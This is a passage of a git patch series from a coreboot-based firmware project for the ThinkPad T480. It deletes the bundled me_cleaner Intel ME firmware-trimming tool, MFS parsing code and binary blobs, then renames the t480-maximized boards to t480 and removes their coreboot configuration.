in enumerate(self.data_ids): - if chain == 0: - return i - return -1 - - def getLastFreeDataChunk(self): - for i, chain in reversed(list(enumerate(self.data_ids))): - if chain == 0: - return i - return -1 - - def generate(self): - data = self.SYSTEM_VOLUME_HEADER_FMT.pack(self.signature, self.version, self.capacity, self.num_files) + \ - struct.pack("<%dH" % self.num_files, *self.file_ids) + \ - struct.pack("<%dH" % len (self.data_ids), *self.data_ids) - total_data_size = (len(data) + MFS.CHUNK_SIZE - 1) & ~(MFS.CHUNK_SIZE - 1) - self.data = data.ljust(total_data_size, b'\0') - - def generateChunks(self): - self.generate() - empty_data = b'\0' * MFS.CHUNK_SIZE - chunks = [] - for offset in range(0, len(self.data), MFS.CHUNK_SIZE): - data = self.data[offset:offset + MFS.CHUNK_SIZE] - if data == empty_data: - continue - chunk = MFSChunk(data, offset // MFS.CHUNK_SIZE, False) - chunks.append(chunk) - return chunks - - def _listDirRecursive(self, file, integrity, prefix): - for dirent in file.decodeDir(integrity): - # Skip relative references - if dirent.name == "." or dirent.name == "..": - continue - # Absolute path to this file - path = prefix + "/" + dirent.name - file = self.getFile(dirent.id()) - # Yield field itself - yield path, file.decodeData(dirent.integrity()) - # Recursively yield entries if it is a subdirectory - if dirent.directory(): - yield from self._listDirRecursive(file, dirent.integrity(), prefix=path) - - def listDir(self, id, integrity, prefix): - file = self.getFile(id) - # Yield the root itself - yield prefix, file.decodeData(integrity) - # List its subdirectories - yield from self._listDirRecursive(file, integrity, prefix) - - def __str__(self): - res = f"Total of {self.num_files} file entries\n" - for i, f in enumerate(self.files): - if f: - res += f"{i}: {f}\n" - return res - -DIRECTORY_ENTRY_SIZE = 24 -INTEGRITY_BLOB_SIZE = 52 - -class MFSFile(object): - def __init__(self, id): - self.id = id - self.chain = [] - self.data = b"" - - def addChunk(self, chunk, size): - self.chain.append(chunk.id) - self.data = self.data + chunk.data[:size] - - def addData(self, id, data): - self.chain.append(id) - self.data = self.data + data - - def generateChunks(self): - chunks = [] - for i, chain in enumerate(self.chain): - data = self.data[i * MFS.CHUNK_SIZE:(i + 1) * MFS.CHUNK_SIZE] - data = data.ljust(MFS.CHUNK_SIZE, b'\0') - chunk = MFSChunk(data, chain, False) - chunks.append(chunk) - return chunks - - def decodeData(self, integrity): - if integrity: - return self.data[:-INTEGRITY_BLOB_SIZE] - return self.data - - def decodeDir(self, integrity): - data = self.decodeData(integrity) - # Decode directory entries - for i in range(0, len(data), DIRECTORY_ENTRY_SIZE): - yield MFSDirectoryEntry(data[i:i + DIRECTORY_ENTRY_SIZE]) - - def __str__(self): - return f"File {self.id} has {len(self.data)} bytes (Chain: {self.chain})" - -class MFSDirectoryEntry: - FILE = 0 - DIR = 1 - - def __init__(self, data): - self.fileno, self.mode, self.uid, self.gid, self.salt, self.name = \ - struct.unpack("*0*Nz!8Ca^?_b zye_(S*LBewU=qXvYHeWfYvTZEVP{}aPyjLbfS8fNK|_e$;XejoVEX@G*c+q_6Ce~% z*}%ZT#lSLQgS&&up@WLQ8xrIh7(4_R9Dp>-ML`B;E+L?Hc?Rw+20(ia8CZa{F_2~h z(y~CB@vi}c&KyGqpKS&VtUx}(usV z?Hdh&K@$R_{eR+mYoq;t;=*ZE73m=`XbOW-hm3~6Xb6mkz-S1JhQMeD&?N*0y8jOV DMy`QA diff --git a/blobs/t480/ifd_16 b/blobs/t480/ifd_16 deleted file mode 100644 index cdeaee4a484065cb6ab65e22c9d28d63117a1ddc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4096 zcmeH~u}T9$5QhJ~&0!M6oW#Hhf-9KDDk|27z>&sA@EWmD@Bz|TSS6Lcl}})4En14; zWB3S35wST~|G7JYM>J)SxO4n7+|2IG?swH$TeQ>rQB9+SvKMq(dKbm2wI4X!+v=P@ zJU+d?Ne#3$Wx1!W6g=2Iev$3}^vHmTq*>lmde6gvV?fE^@5aPbPBV9RR4inRdQ55$ zxXfELc0dw9nKD$HI-meQ^(*wU^P~ajJST-KmTyN@`cwj6{u-Y-pk=XtRI3o}5b-e47h z&~fGnI0BA= 11) the ME subsystem and the firmware -structure have changed, requiring substantial changes in _me\_cleaner_. -The fundamental modules required for the correct boot are now four (`rbe`, -`kernel`, `syslib` and `bup`) and the minimum code size is ~300 kB of compressed -code (from the 2 MB of the non-AMT firmware and the 7 MB of the AMT one). - -On some boards the OEM firmware fails to boot without a valid Intel ME firmware; -in the other cases the system should work with minor inconveniences (like longer -boot times or warning messages) or without issues at all. - -Obviously, the features provided by Intel ME won't be functional anymore after -the modifications. - -## Documentation - -The detailed documentation about the working of _me\_cleaner_ can be found on -the page ["How does it work?" page]( -https://github.com/corna/me_cleaner/wiki/How-does-it-work%3F). - -Various guides and tutorials are available on the Internet, however a good -starting point is the ["How to apply me_cleaner" guide]( -https://github.com/corna/me_cleaner/wiki/How-to-apply-me_cleaner). diff --git a/blobs/t480/me_cleaner/description.md b/blobs/t480/me_cleaner/description.md deleted file mode 100644 index d5de2d5c5..000000000 --- a/blobs/t480/me_cleaner/description.md +++ /dev/null @@ -1,2 +0,0 @@ -__[me_cleaner](https://github.com/corna/me_cleaner)__ - Tool for -partial deblobbing of Intel ME/TXE firmware images `Python` diff --git a/blobs/t480/me_cleaner/man/me_cleaner.1 b/blobs/t480/me_cleaner/man/me_cleaner.1 deleted file mode 100644 index 8edd22627..000000000 --- a/blobs/t480/me_cleaner/man/me_cleaner.1 +++ /dev/null @@ -1,157 +0,0 @@ -.TH me_cleaner 1 "JUNE 2018" -.SH me_cleaner -.PP -me_cleaner \- Tool for partial deblobbing of Intel ME/TXE firmware images -.SH SYNOPSIS -.PP -\fB\fCme_cleaner.py\fR [\-h] [\-v] [\-O output_file] [\-S | \-s] [\-r] [\-k] -[\-w whitelist | \-b blacklist] [\-d] [\-t] [\-c] [\-D output_descriptor] -[\-M output_me_image] \fIfile\fP -.SH DESCRIPTION -.PP -\fB\fCme_cleaner\fR is a tool able to disable parts of Intel ME/TXE by: -.RS -.IP \(bu 2 -removing most of the code from its firmware -.IP \(bu 2 -setting a special bit to force it to disable itself after the hardware -initialization -.RE -.PP -Using both the modes seems to be the most reliable way on many platforms. -.PP -The resulting modified firmware needs to be flashed (in most of the cases) with -an external programmer, often a dedicated SPI programmer or a Linux board with -a SPI master interface. -.PP -\fB\fCme_cleaner\fR works at least from Nehalem to Coffee Lake (for Intel ME) and on -Braswell/Cherry Trail (for Intel TXE), but may work as well on newer or -different architectures. -.PP -While \fB\fCme_cleaner\fR have been tested on a great number of platforms, fiddling -with the Intel ME/TXE firmware is \fIvery dangerous\fP and can easily lead to a -dead PC. -.PP -\fIYOU HAVE BEEN WARNED.\fP -.SH POSITIONAL ARGUMENTS -.TP -\fB\fCfile\fR -ME/TXE image or full dump. -.SH OPTIONAL ARGUMENTS -.TP -\fB\fC\-h\fR, \fB\fC\-\-help\fR -Show the help message and exit. -.TP -\fB\fC\-v\fR, \fB\fC\-\-version\fR -Show program's version number and exit. -.TP -\fB\fC\-O\fR, \fB\fC\-\-output\fR -Save the modified image in a separate file, instead of modifying the -original file. -.TP -\fB\fC\-S\fR, \fB\fC\-\-soft\-disable\fR -In addition to the usual operations on the ME/TXE firmware, set the -MeAltDisable bit or the HAP bit to ask Intel ME/TXE to disable itself after -the hardware initialization (requires a full dump). -.TP -\fB\fC\-s\fR, \fB\fC\-\-soft\-disable\-only\fR -Instead of the usual operations on the ME/TXE firmware, just set the -MeAltDisable bit or the HAP bit to ask Intel ME/TXE to disable itself after -the hardware initialization (requires a full dump). -.TP -\fB\fC\-r\fR, \fB\fC\-\-relocate\fR -Relocate the FTPR partition to the top of the ME region to save even more -space. -.TP -\fB\fC\-t\fR, \fB\fC\-\-truncate\fR -Truncate the empty part of the firmware (requires a separated ME/TXE image or -\fB\fC\-\-extract\-me\fR). -.TP -\fB\fC\-k\fR, \fB\fC\-\-keep\-modules\fR -Don't remove the FTPR modules, even when possible. -.TP -\fB\fC\-w\fR, \fB\fC\-\-whitelist\fR -Comma separated list of additional partitions to keep in the final image. -This can be used to specify the MFS partition for example, which stores PCIe -and clock settings. -.TP -\fB\fC\-b\fR, \fB\fC\-\-blacklist\fR -Comma separated list of partitions to remove from the image. This option -overrides the default removal list. -.TP -\fB\fC\-d\fR, \fB\fC\-\-descriptor\fR -Remove the ME/TXE Read/Write permissions to the other regions on the flash -from the Intel Flash Descriptor (requires a full dump). -.TP -\fB\fC\-D\fR, \fB\fC\-\-extract\-descriptor\fR -Extract the flash descriptor from a full dump; when used with \fB\fC\-\-truncate\fR -save a descriptor with adjusted regions start and end. -.TP -\fB\fC\-M\fR, \fB\fC\-\-extract\-me\fR -Extract the ME firmware from a full dump; when used with \fB\fC\-\-truncate\fR save a -truncated ME/TXE image. -.TP -\fB\fC\-c\fR, \fB\fC\-\-check\fR -Verify the integrity of the fundamental parts of the firmware and exit. -.SH SUPPORTED PLATFORMS -.PP -Currently \fB\fCme_cleaner\fR has been tested on the following platforms: -.TS -allbox; -cb cb cb cb -c c c c -c c c c -c c c c -c c c c -c c c c -c c c c -c c c c -c c c c -. -PCH CPU ME SKU -Ibex Peak Nehalem/Westmere 6.0 Ignition -Ibex Peak Nehalem/Westmere 6.x 1.5/5 MB -Cougar Point Sandy Bridge 7.x 1.5/5 MB -Panther Point Ivy Bridge 8.x 1.5/5 MB -Lynx/Wildcat Point Haswell/Broadwell 9.x 1.5/5 MB -Wildcat Point LP Broadwell Mobile 10.0 1.5/5 MB -Sunrise Point Skylake/Kabylake 11.x CON/COR -Union Point Kabylake 11.x CON/COR -.TE -.TS -allbox; -cb cb cb -c c c -. -SoC TXE SKU -Braswell/Cherry Trail 2.x 1.375 MB -.TE -.PP -All the reports are available on the project's GitHub page \[la]https://github.com/corna/me_cleaner/issues/3\[ra]\&. -.SH EXAMPLES -.PP -Check whether the provided image has a valid structure and signature: -.IP -\fB\fCme_cleaner.py \-c dumped_firmware.bin\fR -.PP -Remove most of the Intel ME firmware modules but don't set the HAP/AltMeDisable -bit: -.IP -\fB\fCme_cleaner.py \-S \-O modified_me_firmware.bin dumped_firmware.bin\fR -.PP -Remove most of the Intel ME firmware modules and set the HAP/AltMeDisable bit, -disable the Read/Write access of Intel ME to the other flash region, then -relocate the code to the top of the image and truncate it, extracting a modified -descriptor and ME image: -.IP -\fB\fCme_cleaner.py \-S \-r \-t \-d \-D ifd_shrinked.bin \-M me_shrinked.bin \-O modified_firmware.bin full_dumped_firmware.bin\fR -.SH BUGS -.PP -Bugs should be reported on the project's GitHub page \[la]https://github.com/corna/me_cleaner\[ra]\&. -.SH AUTHOR -.PP -Nicola Corna \[la]nicola@corna.info\[ra] -.SH SEE ALSO -.PP -.BR flashrom (8), -me_cleaner's Wiki \[la]https://github.com/corna/me_cleaner/wiki\[ra] diff --git a/blobs/t480/me_cleaner/me_cleaner.py b/blobs/t480/me_cleaner/me_cleaner.py deleted file mode 100755 index fae5e5673..000000000 --- a/blobs/t480/me_cleaner/me_cleaner.py +++ /dev/null @@ -1,884 +0,0 @@ -#!/usr/bin/env python -# me_cleaner - Tool for partial deblobbing of Intel ME/TXE firmware images -# SPDX-License-Identifier: GPL-3.0-or-later - -from __future__ import division, print_function - -import argparse -import binascii -import hashlib -import itertools -import shutil -import sys -from struct import pack, unpack - - -min_ftpr_offset = 0x400 -spared_blocks = 4 -unremovable_modules = ("ROMP", "BUP") -unremovable_modules_me11 = ("rbe", "kernel", "syslib", "bup") -unremovable_partitions = ("FTPR",) - -pubkeys_md5 = { - "763e59ebe235e45a197a5b1a378dfa04": ("ME", ("6.x.x.x",)), - "3a98c847d609c253e145bd36512629cb": ("ME", ("6.0.50.x",)), - "0903fc25b0f6bed8c4ed724aca02124c": ("ME", ("7.x.x.x", "8.x.x.x")), - "2011ae6df87c40fba09e3f20459b1ce0": ("ME", ("9.0.x.x", "9.1.x.x")), - "e8427c5691cf8b56bc5cdd82746957ed": ("ME", ("9.5.x.x", "10.x.x.x")), - "986a78e481f185f7d54e4af06eb413f6": ("ME", ("11.x.x.x",)), - "bda0b6bb8ca0bf0cac55ac4c4d55e0f2": ("TXE", ("1.x.x.x",)), - "b726a2ab9cd59d4e62fe2bead7cf6997": ("TXE", ("1.x.x.x",)), - "0633d7f951a3e7968ae7460861be9cfb": ("TXE", ("2.x.x.x",)), - "1d0a36e9f5881540d8e4b382c6612ed8": ("TXE", ("3.x.x.x",)), - "be900fef868f770d266b1fc67e887e69": ("SPS", ("2.x.x.x",)), - "4622e3f2cb212a89c90a4de3336d88d2": ("SPS", ("3.x.x.x",)), - "31ef3d950eac99d18e187375c0764ca4": ("SPS", ("4.x.x.x",)) -} - - -class OutOfRegionException(Exception): - pass - - -class RegionFile: - def __init__(self, f, region_start, region_end): - self.f = f - self.region_start = region_start - self.region_end = region_end - - def read(self, n): - if f.tell() + n <= self.region_end: - return self.f.read(n) - else: - raise OutOfRegionException() - - def readinto(self, b): - if f.tell() + len(b) <= self.region_end: - return self.f.readinto(b) - else: - raise OutOfRegionException() - - def seek(self, offset): - if self.region_start + offset <= self.region_end: - return self.f.seek(self.region_start + offset) - else: - raise OutOfRegionException() - - def write_to(self, offset, data): - if self.region_start + offset + len(data) <= self.region_end: - self.f.seek(self.region_start + offset) - return self.f.write(data) - else: - raise OutOfRegionException() - - def fill_range(self, start, end, fill): - if self.region_start + end <= self.region_end: - if start < end: - block = fill * 4096 - self.f.seek(self.region_start + start) - self.f.writelines(itertools.repeat(block, - (end - start) // 4096)) - self.f.write(block[:(end - start) % 4096]) - else: - raise OutOfRegionException() - - def fill_all(self, fill): - self.fill_range(0, self.region_end - self.region_start, fill) - - def move_range(self, offset_from, size, offset_to, fill): - if self.region_start + offset_from + size <= self.region_end and \ - self.region_start + offset_to + size <= self.region_end: - for i in range(0, size, 4096): - self.f.seek(self.region_start + offset_from + i, 0) - block = self.f.read(min(size - i, 4096)) - self.f.seek(self.region_start + offset_from + i, 0) - self.f.write(fill * len(block)) - self.f.seek(self.region_start + offset_to + i, 0) - self.f.write(block) - else: - raise OutOfRegionException() - - def save(self, filename, size): - if self.region_start + size <= self.region_end: - self.f.seek(self.region_start) - copyf = open(filename, "w+b") - for i in range(0, size, 4096): - copyf.write(self.f.read(min(size - i, 4096))) - return copyf - else: - raise OutOfRegionException() - - -def get_chunks_offsets(llut): - chunk_count = unpack("> 4) & 7 - - print(" {:<16} ({:<7}, ".format(name, comp_str[comp_type]), end="") - - if comp_type == 0x00 or comp_type == 0x02: - print("0x{:06x} - 0x{:06x} ): " - .format(offset, offset + size), end="") - - if name in unremovable_modules: - end_addr = max(end_addr, offset + size) - print("NOT removed, essential") - else: - end = min(offset + size, me_end) - f.fill_range(offset, end, b"\xff") - print("removed") - - elif comp_type == 0x01: - if not chunks_offsets: - f.seek(offset) - llut = f.read(4) - if llut == b"LLUT": - llut += f.read(0x3c) - - chunk_count = unpack(" removable_chunk[0]: - end = min(removable_chunk[1], me_end) - f.fill_range(removable_chunk[0], end, b"\xff") - - end_addr = max(end_addr, - max(unremovable_huff_chunks, key=lambda x: x[1])[1]) - - return end_addr - - -def check_partition_signature(f, offset): - f.seek(offset) - header = f.read(0x80) - modulus = int(binascii.hexlify(f.read(0x100)[::-1]), 16) - public_exponent = unpack("> 4) & 7 == 0x01: - llut_start = unpack("> 25 - - modules.append((name, offset, comp_type)) - - modules.sort(key=lambda x: x[1]) - - for i in range(0, module_count): - name = modules[i][0] - offset = partition_offset + modules[i][1] - end = partition_offset + modules[i + 1][1] - removed = False - - if name.endswith(".man") or name.endswith(".met"): - compression = "uncompressed" - else: - compression = comp_str[modules[i][2]] - - print(" {:<12} ({:<12}, 0x{:06x} - 0x{:06x}): " - .format(name, compression, offset, end), end="") - - if name.endswith(".man"): - print("NOT removed, partition manif.") - elif name.endswith(".met"): - print("NOT removed, module metadata") - elif any(name.startswith(m) for m in unremovable_modules_me11): - print("NOT removed, essential") - else: - removed = True - f.fill_range(offset, min(end, me_end), b"\xff") - print("removed") - - if not removed: - end_data = max(end_data, end) - - if relocate: - new_offset = relocate_partition(f, me_end, 0x30, min_offset, []) - end_data += new_offset - partition_offset - partition_offset = new_offset - - return end_data, partition_offset - - -def check_mn2_tag(f, offset): - f.seek(offset + 0x1c) - tag = f.read(4) - if tag != b"$MN2": - sys.exit("Wrong FTPR manifest tag ({}), this image may be corrupted" - .format(tag)) - - -def flreg_to_start_end(flreg): - return (flreg & 0x7fff) << 12, (flreg >> 4 & 0x7fff000 | 0xfff) + 1 - - -def start_end_to_flreg(start, end): - return (start & 0x7fff000) >> 12 | ((end - 1) & 0x7fff000) << 4 - - -if __name__ == "__main__": - parser = argparse.ArgumentParser(description="Tool to remove as much code " - "as possible from Intel ME/TXE firmware " - "images") - softdis = parser.add_mutually_exclusive_group() - bw_list = parser.add_mutually_exclusive_group() - - parser.add_argument("-v", "--version", action="version", - version="%(prog)s 1.2") - - parser.add_argument("file", help="ME/TXE image or full dump") - parser.add_argument("-O", "--output", metavar='output_file', help="save " - "the modified image in a separate file, instead of " - "modifying the original file") - softdis.add_argument("-S", "--soft-disable", help="in addition to the " - "usual operations on the ME/TXE firmware, set the " - "MeAltDisable bit or the HAP bit to ask Intel ME/TXE " - "to disable itself after the hardware initialization " - "(requires a full dump)", action="store_true") - softdis.add_argument("-s", "--soft-disable-only", help="instead of the " - "usual operations on the ME/TXE firmware, just set " - "the MeAltDisable bit or the HAP bit to ask Intel " - "ME/TXE to disable itself after the hardware " - "initialization (requires a full dump)", - action="store_true") - parser.add_argument("-r", "--relocate", help="relocate the FTPR partition " - "to the top of the ME region to save even more space", - action="store_true") - parser.add_argument("-t", "--truncate", help="truncate the empty part of " - "the firmware (requires a separated ME/TXE image or " - "--extract-me)", action="store_true") - parser.add_argument("-k", "--keep-modules", help="don't remove the FTPR " - "modules, even when possible", action="store_true") - bw_list.add_argument("-w", "--whitelist", metavar="whitelist", - help="Comma separated list of additional partitions " - "to keep in the final image. This can be used to " - "specify the MFS partition for example, which stores " - "PCIe and clock settings.") - bw_list.add_argument("-b", "--blacklist", metavar="blacklist", - help="Comma separated list of partitions to remove " - "from the image. This option overrides the default " - "removal list.") - parser.add_argument("-d", "--descriptor", help="remove the ME/TXE " - "Read/Write permissions to the other regions on the " - "flash from the Intel Flash Descriptor (requires a " - "full dump)", action="store_true") - parser.add_argument("-D", "--extract-descriptor", - metavar='output_descriptor', help="extract the flash " - "descriptor from a full dump; when used with " - "--truncate save a descriptor with adjusted regions " - "start and end") - parser.add_argument("-M", "--extract-me", metavar='output_me_image', - help="extract the ME firmware from a full dump; when " - "used with --truncate save a truncated ME/TXE image") - parser.add_argument("-c", "--check", help="verify the integrity of the " - "fundamental parts of the firmware and exit", - action="store_true") - - args = parser.parse_args() - - if args.check and (args.soft_disable_only or args.soft_disable or - args.relocate or args.descriptor or args.truncate or args.output): - sys.exit("-c can't be used with -S, -s, -r, -d, -t or -O") - - if args.soft_disable_only and (args.relocate or args.truncate): - sys.exit("-s can't be used with -r or -t") - - if (args.whitelist or args.blacklist) and args.relocate: - sys.exit("Relocation is not yet supported with custom whitelist or " - "blacklist") - - f = open(args.file, "rb" if args.check or args.output else "r+b") - f.seek(0x10) - magic = f.read(4) - - if magic == b"$FPT": - print("ME/TXE image detected") - - if args.descriptor or args.extract_descriptor or args.extract_me or \ - args.soft_disable or args.soft_disable_only: - sys.exit("-d, -D, -M, -S and -s require a full dump") - - f.seek(0, 2) - me_start = 0 - me_end = f.tell() - mef = RegionFile(f, me_start, me_end) - - elif magic == b"\x5a\xa5\xf0\x0f": - print("Full image detected") - - if args.truncate and not args.extract_me: - sys.exit("-t requires a separated ME/TXE image (or --extract-me)") - - f.seek(0x14) - flmap0, flmap1 = unpack("> 12 & 0xff0 - fmba = (flmap1 & 0xff) << 4 - fpsba = flmap1 >> 12 & 0xff0 - - f.seek(frba) - flreg = unpack("= me_end: - sys.exit("The ME/TXE region in this image has been disabled") - - mef = RegionFile(f, me_start, me_end) - - mef.seek(0x10) - if mef.read(4) != b"$FPT": - sys.exit("The ME/TXE region is corrupted or missing") - - print("The ME/TXE region goes from {:#x} to {:#x}" - .format(me_start, me_end)) - else: - sys.exit("Unknown image") - - end_addr = me_end - - print("Found FPT header at {:#x}".format(mef.region_start + 0x10)) - - mef.seek(0x14) - entries = unpack("= 0: - check_mn2_tag(mef, ftpr_offset + ftpr_mn2_offset) - print("Found FTPR manifest at {:#x}" - .format(ftpr_offset + ftpr_mn2_offset)) - else: - sys.exit("Can't find the manifest of the FTPR partition") - - else: - check_mn2_tag(mef, ftpr_offset) - me11 = False - ftpr_mn2_offset = 0 - - mef.seek(ftpr_offset + ftpr_mn2_offset + 0x24) - version = unpack("= 6: - variant = "ME" - else: - variant = "TXE" - print("WARNING Unknown public key {}\n" - " Assuming Intel {}\n" - " Please report this warning to the project's maintainer!" - .format(pubkey_md5, variant)) - - if not args.check and args.output: - f.close() - shutil.copy(args.file, args.output) - f = open(args.output, "r+b") - - mef = RegionFile(f, me_start, me_end) - - if me_start > 0: - fdf = RegionFile(f, fd_start, fd_end) - - if me11: - fdf.seek(fpsba) - pchstrp0 = unpack(" me_end: - print(" {:<4} ({:^24}, 0x{:08x} total bytes): nothing to " - "remove" - .format(part_name, "no data here", part_length)) - else: - print(" {:<4} (0x{:08x} - 0x{:09x}, 0x{:08x} total bytes): " - .format(part_name, part_start, part_end, part_length), - end="") - if part_name in whitelist or (blacklist and - part_name not in blacklist): - unremovable_part_fpt += partition - if part_name != "FTPR": - extra_part_end = max(extra_part_end, part_end) - print("NOT removed") - else: - mef.fill_range(part_start, part_end, b"\xff") - print("removed") - - print("Removing partition entries in FPT...") - mef.write_to(0x30, unremovable_part_fpt) - mef.write_to(0x14, - pack("= 11 (except for - # 0x1b, the checksum itself). In other words, the sum of those - # bytes must be always 0x00. - mef.write_to(0x1b, pack("B", checksum)) - - print("Reading FTPR modules list...") - if me11: - end_addr, ftpr_offset = \ - check_and_remove_modules_me11(mef, me_end, - ftpr_offset, ftpr_length, - min_ftpr_offset, - args.relocate, - args.keep_modules) - else: - end_addr, ftpr_offset = \ - check_and_remove_modules(mef, me_end, ftpr_offset, - min_ftpr_offset, args.relocate, - args.keep_modules) - - if end_addr > 0: - end_addr = max(end_addr, extra_part_end) - end_addr = (end_addr // 0x1000 + 1) * 0x1000 - end_addr += spared_blocks * 0x1000 - - print("The ME minimum size should be {0} bytes " - "({0:#x} bytes)".format(end_addr)) - - if me_start > 0: - print("The ME region can be reduced up to:\n" - " {:08x}:{:08x} me" - .format(me_start, me_start + end_addr - 1)) - elif args.truncate: - print("Truncating file at {:#x}...".format(end_addr)) - f.truncate(end_addr) - - if args.soft_disable or args.soft_disable_only: - if me11: - print("Setting the HAP bit in PCHSTRP0 to disable Intel ME...") - pchstrp0 |= (1 << 16) - fdf.write_to(fpsba, pack(" {:08x}:{:08x} me" - .format(me_start, me_end - 1, - me_start, me_start + end_addr - 1)) - print(" {:08x}:{:08x} bios --> {:08x}:{:08x} bios" - .format(bios_start, bios_end - 1, - me_start + end_addr, bios_end - 1)) - - flreg1 = start_end_to_flreg(me_start + end_addr, bios_end) - flreg2 = start_end_to_flreg(me_start, me_start + end_addr) - - fdf_copy.seek(frba + 0x4) - fdf_copy.write(pack(" Date: Wed, 12 Feb 2025 13:07:16 -0500 Subject: [PATCH 28/50] t480-maximized -> t480: we are not neutering ME anymore, therefore those are not maximized boards. We have to draw the line somewhere. - Reuse good tweeks from gaspar-ilom's provided config/coreboot-t480-maximized.config - move config/coreboot-t480-maximized.config to config/coreboot-t480.config, delete config/coreboot-t480-maximized.config - rename boards/t480-hotp-maximized -> boards/t480-hotp, boards/t480-maximized/t480-maximized -> boards/t480-maximized/t480 - Adapt CircleCI board naming accordingly TODO: - discuss need of thunderbold firmware presence in fw, that were part of @notgivenby prior work and now gone. Should it be brought back? - Tweaks of config/coreboot-t480.config against prior commit, outside of blobs paths having change. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 10 +- .../t480-hotp.config} | 0 .../t480.config} | 0 config/coreboot-t480-maximized.config | 907 ------------------ config/coreboot-t480.config | 51 +- 5 files changed, 17 insertions(+), 951 deletions(-) rename boards/{t480-hotp-maximized/t480-hotp-maximized.config => t480-hotp/t480-hotp.config} (100%) rename boards/{t480-maximized/t480-maximized.config => t480/t480.config} (100%) delete mode 100644 config/coreboot-t480-maximized.config diff --git a/.circleci/config.yml b/.circleci/config.yml index 76aa05c59..54cfa7591 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -512,19 +512,19 @@ workflows: # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: - name: t480-hotp-maximized - target: t480-hotp-maximized + name: t480-hotp + target: t480-hotp subcommand: "" requires: - x86-musl-cross-make # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: - name: t480-maximized - target: t480-maximized + name: t480 + target: t480 subcommand: "" requires: - - t480-hotp-maximized + - t480-hotp # dasharo release, share 24.02.01 utils/crossgcc - build: diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp/t480-hotp.config similarity index 100% rename from boards/t480-hotp-maximized/t480-hotp-maximized.config rename to boards/t480-hotp/t480-hotp.config diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480/t480.config similarity index 100% rename from boards/t480-maximized/t480-maximized.config rename to boards/t480/t480.config diff --git a/config/coreboot-t480-maximized.config b/config/coreboot-t480-maximized.config deleted file mode 100644 index c02e2cf19..000000000 --- a/config/coreboot-t480-maximized.config +++ /dev/null @@ -1,907 +0,0 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_LTO is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set -CONFIG_USE_OPTION_TABLE=y -CONFIG_STATIC_OPTION_TABLE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set -CONFIG_BOOTSPLASH_IMAGE=y -CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" -CONFIG_BOOTSPLASH_CONVERT=y -CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOOSTAR is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ARM is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_CWWK is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_ERYING is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_FRAMEWORK is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HARDKERNEL is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LATTEPANDA is not set -CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MITAC_COMPUTING is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAPTOR_CS is not set -# 